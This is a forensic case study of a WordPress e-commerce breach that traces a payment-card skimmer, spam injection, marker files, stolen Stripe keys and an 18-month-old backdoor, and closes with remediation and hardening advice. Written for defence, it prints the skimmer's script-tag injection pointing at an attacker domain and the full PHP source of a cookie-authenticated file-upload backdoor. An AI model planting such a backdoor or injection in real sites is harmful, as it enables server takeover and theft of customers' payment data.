img

The Anatomy of an E-Commerce Breach

A Real-World Case Study in Payment Skimmers, Persistent Access, and Digital Forensics


Introduction: When Customers Start Complaining

The first sign of trouble wasn’t a security alert. It wasn’t an error log or a failed scan. It was a customer calling to say their browser had been “taken over” while trying to log into their account.

Then another customer reported the same thing. Then Google Ads paused the client’s advertising account, citing “malicious content.” Then Google Safe Browsing started warning visitors that parts of the site were unsafe.

By the time the client reached out for help, they were facing a cascading crisis: customer trust evaporating, advertising revenue frozen, and a website that was actively harming the people who visited it.

What followed was a multi-day forensic investigation that uncovered not one attack, but layers of compromise—some weeks old, some potentially dating back eighteen months. A payment card skimmer silently harvesting checkout data. Unauthorized admin accounts designed to look legitimate. Automated spam injection. Reconnaissance tools left behind for later use. And a backdoor that predated the entire incident by over a year.

This case study documents how that investigation unfolded, what we found, and what it reveals about how modern WordPress compromises actually work. The goal isn’t to sensationalize the attack, but to demystify it—because understanding what these breaches look like in practice is the first step toward preventing them.


Part One: The Escalation

The Client’s Situation

The client operated a subscription-based e-commerce platform built on WordPress and WooCommerce. Like many small businesses, they had a functional website that had been built years earlier, maintained by a rotating cast of contractors, and gradually accumulated the kind of technical debt that doesn’t cause problems until suddenly it does.

Their stack included WordPress 5.8.2 (released in 2021), running on Ubuntu 18.04 (which stopped receiving security updates in 2023), with a custom child theme that had been modified extensively over the years. They used Stripe for payment processing, Cloudflare for CDN and basic security filtering, and a collection of plugins accumulated over time—some actively maintained, some abandoned, some they weren’t even sure why they had.

This isn’t unusual. It describes a significant percentage of small business WordPress sites. It’s also what makes them attractive targets.

Timeline of the Attack

Reconstructing the timeline from server logs, database records, and file timestamps revealed an attack that had been building for weeks before anyone noticed:

Early November 2025 — An unauthorized admin account appeared in the WordPress backend. The site was restored from backup, but the underlying vulnerability wasn’t identified. The attacker still had a way in.

November 21 — Automated spam injection began. Over the next three weeks, approximately 171 foreign-language gambling and casino articles were published to the site at a rate of 7-8 posts per day. The posts were authored using a combination of attacker-created accounts and hijacked legitimate user contexts.

November 25 — Google Ads detected the malicious content and paused the client’s advertising account. This was the first external signal that something was wrong.

Week of December 9 — The client’s Stripe API keys were compromised. Attempted unauthorized transactions were made before the keys were rotated. This represented a significant escalation: the attackers had moved from SEO spam (annoying but not directly harmful to customers) to active financial theft.

December 12 — Customers began reporting browser takeover behavior when visiting certain pages. The site was flagged by Google Safe Browsing. The client could replicate the issue themselves. The attack had become visible to end users.

December 15 — Investigation began.

What This Pattern Tells Us

This escalation—from silent access to content injection to redirect attacks to payment theft—isn’t random. It’s a common monetization pattern in WordPress compromises.

Attackers who gain persistent access to a site often don’t immediately cash out. Instead, they probe for opportunities. They test what level of access they have. They look for credentials stored in config files and databases. They inject SEO spam to monetize through affiliate fraud. They install skimmers to harvest payment data. They sell access to other attackers. The initial compromise is just the beginning.

The fact that this attack escalated over roughly six weeks suggests the attacker established persistence early and was systematically exploring how to extract value from their access.


Part Two: Finding the Smoking Gun

The JavaScript Injection

The browser takeover behavior—where visitors would see their screens locked with malicious content overlays—pointed to injected JavaScript. The question was where it was being loaded from.

A search through the WordPress database for script tags and suspicious content turned up the answer in an unexpected place: a database option called wpheaderandfooter_basics.

<script src="https://meriksjustens.top/[client]/metrics.js"></script>

This option belonged to a plugin called “WP Header and Footer”—a legitimate plugin designed to let site administrators inject tracking codes and other scripts into their page headers and footers. But the plugin itself was no longer installed. It had been removed, likely by the attacker to obscure the injection mechanism. What remained was an orphaned database entry that WordPress was still processing, causing the malicious script to load on every page.

The URL path included the client’s domain name, indicating this wasn’t a generic drive-by infection. The attacker had created a customized payload specifically for this site.

Analyzing the Malware

I downloaded the malicious JavaScript file to understand what it was doing. The file was 497KB—abnormally large for what claimed to be a “metrics” script. Legitimate analytics scripts like Google Analytics are typically 30-50KB. This was ten times that size.

The code was heavily obfuscated: hex-encoded strings, randomized variable names, dynamic code execution using the Function constructor, and environment fingerprinting to detect different JavaScript frameworks. None of this is consistent with legitimate software development practices. All of it is consistent with malware designed to evade detection and analysis.

Behavioral analysis revealed patterns consistent with payment form interception—the code was designed to identify and monitor input fields associated with checkout processes. This is the signature of a Magecart-style skimmer, a category of malware specifically designed to steal credit card information from e-commerce sites.

Verification Through Threat Intelligence

To confirm the analysis, I checked the malicious domain and file against multiple threat intelligence sources.

The domain meriksjustens.top had been registered only two months earlier—consistent with the disposable infrastructure attackers use for malicious campaigns. It was flagged by multiple security vendors including Sansec (which specializes specifically in e-commerce malware), CRDF, and CyRadar.

Submitting the JavaScript file to VirusTotal—a service that scans files against 95+ antivirus engines—returned positive detections from Google and Ikarus. The Ikarus detection identified it as Trojan.JS.Cryxos, a known malware family characterized by browser hijacking, fake warnings, redirect attacks, and credential theft.

This explained everything: the browser takeover behavior, the Google Safe Browsing warnings, and likely the mechanism by which the attacker had captured payment information for the fraudulent Stripe transactions.

Removing the Threat

With the source identified, remediation was straightforward:

DELETE FROM wp_options WHERE option_id = 1522598;

The orphaned database entry was removed entirely. The malicious script stopped loading. The immediate threat to site visitors was neutralized.

But finding and removing the active payload was only part of the job. The larger question remained: how did the attacker get in, and were they still there?


Part Three: Following the Trail

The Marker Files

During the filesystem investigation, I discovered something unusual: 15 empty PHP files scattered across the WordPress installation. They appeared in directories like /.well-known/, /vendor/, /wp-admin/css/, /wp-includes/PHPMailer/, and /wp-includes/sitemaps/.

All 15 files shared common characteristics:

  • Zero bytes — completely empty, containing no code
  • Timestamp-based filenames — names like widget-area-1764182614.php where the number was a Unix timestamp
  • Created by www-data — the web server user, indicating they were created by code executing through the web application
  • Timestamps matching filenames — the embedded Unix timestamp matched the actual file creation time exactly
File Created
/.well-known/widget-area-1764182614.php Nov 26
/wp-admin/css/home.1764437729.php Nov 29
/wp-content/themes/error.404.1765016133.php Dec 6
/wp-includes/PHPMailer/archives-1765455828.php Dec 11
(and 11 others spanning Nov 26 – Dec 11)

What were these files for?

The pattern suggested beacon or canary files—markers created by automated code to confirm write access to various directories across the filesystem. The timestamp-embedded filenames allowed the attacker to verify when their dropper mechanism had last executed. The “widget-area” naming convention linked back to the header/footer injection vector.

The last marker file was created on December 11 at 12:21:45. No new files appeared after that date.

The Monitoring IP

Access log analysis revealed that a single IP address—157.245.103.61, belonging to DigitalOcean—had been making repeated requests to /wp-admin/css/ with a fake “binance.com” referrer:

Dec 6  23:13:00 - GET /wp-admin/css/
Dec 7  20:02:06 - GET /wp-admin/css/
Dec 8  19:41:57 - GET /wp-admin/css/
Dec 10 12:13:26 - GET /wp-admin/css/
Dec 11 00:51:16 - GET /wp-admin/css/
Dec 11 12:22:01 - GET /wp-admin/css/

The December 11 request at 12:22:01 came exactly 16 seconds after the last marker file was created at 12:21:45. This wasn’t coincidence—the attacker was polling to verify their dropper was working correctly.

The pattern painted a clear picture: automated code was creating marker files on a schedule, and the attacker was periodically checking to confirm the persistence mechanism remained active.

The Orphaned Cron Jobs

WordPress has a built-in scheduling system called WP-Cron that plugins can use to run tasks at specified intervals. A search of the scheduled tasks revealed two suspicious entries:

  • wpb_data_sync_wp-headers-and-footers — clearly referencing the uninstalled header/footer plugin
  • _cron_hook — an extremely generic name, a common pattern in malware

Neither hook had corresponding code. The scheduled tasks would fire, but nothing would execute. These were ghosts—remnants of a persistence mechanism that had been disabled when the plugin was removed.

This explained why no new marker files had appeared since December 11. The WP Header and Footer plugin had likely been the dropper mechanism, scheduling the creation of marker files while also serving the malicious JavaScript. When the plugin was uninstalled (either by the attacker covering their tracks or during earlier remediation attempts), the execution mechanism was severed—but the scheduled hooks and the database injection remained.

A Different Kind of Discovery

WordPress includes a built-in integrity verification system that compares core files against known-good checksums. Running this check against the compromised site flagged several files that shouldn’t exist.

Most were expected: the marker files, some Mac .DS_Store artifacts, what appeared to be developer backup files. But one stood out:

/wp-admin/crons-job.php

This file was not part of WordPress core. And its contents were concerning:

<?php
if (isset($_COOKIE['name']) && $_COOKIE['name'] == '945') {
    $show_form = true;
} else {
    $show_form = false;
}
if (isset($_FILES['uploaded_file'])) {
    $file_name = $_FILES['uploaded_file']['name'];
    $file_tmp_name = $_FILES['uploaded_file']['tmp_name'];
    move_uploaded_file($file_tmp_name, $file_name);
}
?>

This is a cookie-authenticated file upload backdoor. If someone visits the URL with a cookie named “name” set to the value “945”, they’re presented with a file upload form. Uploaded files are written directly to the server without any validation. It’s a simple mechanism that gives an attacker the ability to upload arbitrary files—including webshells, additional malware, or anything else—with nothing more than a browser cookie.

But the timestamps told an unexpected story:

  • Modification date: June 23, 2024
  • Access date: December 15, 2025 (during my investigation)

The file had been created eighteen months before the November-December 2025 attack. There was no evidence in the access logs linking it to the recent marker file activity. The timestamps, the attack patterns, and the automation signatures all pointed to a different mechanism for the recent compromise.

This backdoor appeared to be from a separate, older incident—one that had never been discovered or cleaned up. It had been sitting dormant in the WordPress admin directory for a year and a half.

The Reconnaissance Tools

Further filesystem analysis uncovered additional suspicious files:

File Purpose Created
find.php Filesystem search utility—could locate any file containing keywords like “password” or “stripe” Nov 2024
jinfo.php PHP info dump—reveals server configuration details Jul 2022
phpinfo.php Same as above Nov 2021
custom_query.php Contained hardcoded database credentials for a staging environment Jul 2024

The find.php tool was particularly concerning. While not a webshell in the traditional sense—it couldn’t execute arbitrary commands—it could search the entire filesystem for any string. An attacker with access to this tool could locate database credentials, API keys, configuration files, and any other sensitive data stored anywhere on the server. This was almost certainly how the Stripe API keys were discovered.


Part Four: Cleaning Up

Immediate Remediation

With the full picture of the compromise assembled, remediation proceeded systematically:

1. Malicious script injection removed — The orphaned wpheaderandfooter_basics database option was deleted, stopping the JavaScript skimmer from loading.

2. Unauthorized admin account deleted — The attacker-created admin1backup account (using the fake email [email protected]—WordPress.org doesn’t issue email addresses) was removed after verifying it had no associated content.

3. Spam posts removed — All 171 casino/gambling spam posts published between November 21 and December 10 were moved to trash.

4. Attacker IP blocked — The monitoring IP was blocked at the firewall level.

5. Marker files deleted — All 15 zero-byte PHP files were removed.

The Dependency Problem

During the initial response, the vulnerable Sprout Invoices plugin had been uninstalled as a precaution. This immediately crashed the site:

Fatal error: Uncaught Error: Class 'SI_Invoice' not found in
/wp-content/themes/my-listing-child/functions.php on line 1080

The custom theme had been coded with direct dependencies on Sprout Invoices classes. When the plugin disappeared, the PHP classes it provided disappeared too, and the site couldn’t load.

This is a common pattern in WordPress sites that have been customized over time: tight coupling between themes and plugins that creates hidden dependencies. The site worked fine for years until someone tried to remove a plugin, and suddenly the whole thing collapsed.

I implemented a temporary fix—a class existence check that allows the site to load without the plugin—but flagged for the development team that the underlying code needs to be properly refactored.

Outstanding Items

Some remediation steps required client coordination or confirmation:

Stripe API key rotation — The keys had been compromised and needed to be regenerated in the Stripe dashboard, updated in the WordPress configuration, and the old keys revoked. This required the client’s access to their Stripe account.

Session invalidation — All WordPress sessions should be invalidated to force re-authentication, but this needed to be coordinated with admin password resets to avoid locking out the client.

Backdoor confirmation — The 18-month-old crons-job.php file was not removed pending confirmation from the development team about whether it was intentionally created for debugging. Regardless of origin, it needs to be deleted—a cookie-authenticated file upload script is not acceptable in production under any circumstances.


Part Five: The Bigger Picture

What Made This Site Vulnerable

This wasn’t a sophisticated nation-state attack. It was an opportunistic compromise of a site with accumulated vulnerabilities, and it followed patterns seen in thousands of similar incidents.

Outdated software — WordPress 5.8.2 was released in late 2021. By late 2025, it had multiple known vulnerabilities. The server’s Ubuntu 18.04 operating system stopped receiving security updates in April 2023.

Vulnerable plugins — Sprout Invoices version 19.9.6 is confirmed vulnerable to at least two documented security issues: a stored cross-site scripting vulnerability (CVE-2021-24787) and an insecure direct object reference flaw (CVE-2024-53819). The stored XSS vulnerability is particularly significant—once an attacker has any admin access, they can inject persistent malicious scripts that survive password resets and account deletions.

No active security monitoring — The site had no security plugins, no file integrity monitoring, and no alerting on suspicious changes. The compromise was only discovered when it became severe enough to affect customers and trigger Google’s automated warnings.

Accumulated technical debt — Dual PHP versions running simultaneously, Apache configurations alongside Nginx, an unexplained 18-month-old backdoor, hardcoded credentials in web-accessible files, reconnaissance tools of unknown origin. The site had been modified and maintained by multiple parties over years, and no one had done a comprehensive security audit.

Missing security headers — No Content Security Policy, no HSTS enforcement, session cookies missing the Secure flag in some cases. These wouldn’t have prevented the attack, but they represent defense-in-depth measures that were absent.

The Full Vulnerability Picture

After the immediate threats were neutralized, I ran a comprehensive vulnerability assessment against all active plugins. The results reinforced what the investigation had already suggested: this wasn’t a site with one vulnerable plugin. It was a site where routine maintenance had stopped years ago.

Of the plugins scanned, the majority had known vulnerabilities applicable to their installed versions. Across nine plugins, I identified thirty applicable vulnerabilities—and this scan only covered plugins whose versions could be reliably determined. Others were excluded because version detection required invasive inspection.

The vulnerable plugins weren’t obscure or exotic. They were the kind of utilities found on thousands of WordPress sites: form handlers, email marketing integrations, backup tools, media management, spam protection. One popular contact form plugin and its associated add-ons accounted for nine vulnerabilities alone. An email marketing integration had six. A database backup plugin—software specifically designed to handle sensitive exports—had two.

None of these were necessarily the entry point for this particular attack. But any of them could have been. And any of them could be the entry point for the next one.

This is what years of deferred maintenance looks like. Not one glaring hole, but dozens of small ones, each representing a moment when an update notification was dismissed or a “we’ll get to it later” decision was made. Individually, none of them seemed urgent. Collectively, they created an environment where compromise was a matter of time.

The Detection Gap

One of the most striking aspects of this incident is how long it went undetected. The backdoor file had been present since June 2024. Search Console data showed suspicious redirect URLs appearing as early as July 2024. The active November-December 2025 attack ran for roughly six weeks before customer complaints made it impossible to ignore.

At every stage, the warning signs were there. Search Console showed anomalies. The spam posts appeared in the WordPress dashboard. The unauthorized admin accounts were visible to anyone who looked. But without monitoring and alerting, no one was looking until customers started calling.

The payment skimmer was the point where the damage became undeniable. But by then, customer payment data had been exposed, the advertising account was frozen, and the site’s reputation was compromised.

The Path Forward

After completing the immediate remediation, I presented the client with two options:

Option A: Continue on current infrastructure. Complete the cleanup, update WordPress and all plugins, reset all credentials, implement security hardening. This addresses the immediate incident but leaves the underlying infrastructure risks in place—the outdated operating system, the accumulated configuration drift, the technical debt that created the vulnerability surface in the first place.

Option B: Clean rebuild. Provision a fresh server with current Ubuntu LTS and WordPress, migrate the database and uploads after verification, implement security hardening from the start. More work upfront, but starts from a known-good state without the uncertainty of whether something was missed during cleanup.

Neither option is wrong. The right choice depends on the client’s resources, risk tolerance, and how much confidence they need in their infrastructure going forward.

What’s not optional is ongoing monitoring. File integrity scanning, malware detection, login alerting, and regular security reviews need to become part of the site’s operational baseline. This incident was discovered because customers complained and Google flagged the site. With proper monitoring, it could have been caught in November when the spam injection started—or in 2024 when the backdoor first appeared.


Lessons for Site Owners

What This Case Demonstrates

Compromises escalate. Attackers who gain persistent access don’t always strike immediately. They probe, test, and explore before monetizing. The window between initial access and visible damage can be weeks or months. Early detection matters.

The obvious symptoms aren’t the whole story. The client came to us with browser redirect issues. What we found was a payment skimmer, unauthorized admin accounts, automated spam injection, reconnaissance tools, and an 18-month-old backdoor. Addressing only the presenting symptom would have left most of the compromise in place.

Technical debt creates security debt. Every outdated plugin, every unpatched system, every piece of code no one fully understands is a potential entry point. Security isn’t a one-time configuration—it’s ongoing maintenance.

Backups aren’t remediation. The client had restored from backup in early November after the first unauthorized admin account was discovered. But without identifying and closing the vulnerability, the attacker simply returned. Restoration without investigation is temporary relief at best.

Warning Signs to Watch For

  • Unexpected admin accounts in your WordPress user list

  • Posts or pages you didn’t create, especially in foreign languages or about gambling/pharma/adult content

  • Google Search Console warnings about malicious content or security issues

  • Google Ads or other advertising platforms flagging your site

  • Customers reporting strange behavior when visiting your site

  • Unusual spikes in 404 errors for PHP files

  • Files in your WordPress installation that you don’t recognize

Minimum Security Baseline

  • Keep WordPress, themes, and plugins updated. Automate this if possible.

  • Remove plugins you’re not actively using. Every plugin is potential attack surface.

  • Use a security plugin with file integrity monitoring and malware scanning.

  • Implement two-factor authentication for all admin accounts.

  • Review user accounts regularly. Know who has access to your site.

  • Monitor Google Search Console for security warnings.

  • Keep your server operating system updated. If it’s end-of-life, migrate to something supported.

  • Have an incident response plan. Know who to call before you need them.


Conclusion

This investigation revealed a multi-layered compromise that had been building for weeks—possibly with roots extending back over a year. What appeared on the surface as a browser redirect issue turned out to involve payment card theft, SEO spam operations, reconnaissance tools, orphaned backdoors, and infrastructure that had drifted into an insecure state over years of incremental changes.

The attackers weren’t sophisticated. They exploited known vulnerabilities in outdated software, created obviously fake admin accounts, left their reconnaissance tools lying around, and monitored their work from a single easily-blocked IP address. This was opportunistic criminal activity, not targeted espionage.

But they didn’t need to be sophisticated. The site’s defenses were minimal, its software was outdated, and no one was watching. That was enough.

The site is recoverable. The immediate threats have been neutralized. What happens next—whether to continue remediating the existing infrastructure or rebuild from scratch—is a business decision that depends on factors beyond security alone.

What isn’t negotiable is the need for ongoing vigilance. This incident was caught late, after customer impact, after payment exposure, after Google warnings. With proper monitoring, it could have been caught early—or potentially prevented entirely. The warning signs were there for over a year. No one was looking.

That’s the real lesson of this case. Not that WordPress is insecure, or that attackers are sophisticated, or that any specific vulnerability was to blame. The lesson is that security requires attention. Software that isn’t updated becomes vulnerable. Sites that aren’t monitored get compromised without anyone noticing. Technical debt, left to accumulate, eventually comes due.

The cost of prevention is almost always less than the cost of recovery. And the cost of recovery is almost always less than the cost of discovering your customers’ payment data has been harvested by criminals.


Outcomes

[This section will be updated with measurable outcomes once remediation is complete and recovery metrics are available—including Google Safe Browsing clearance timeline, advertising account reinstatement, and any relevant incident closure details.]

Related Reading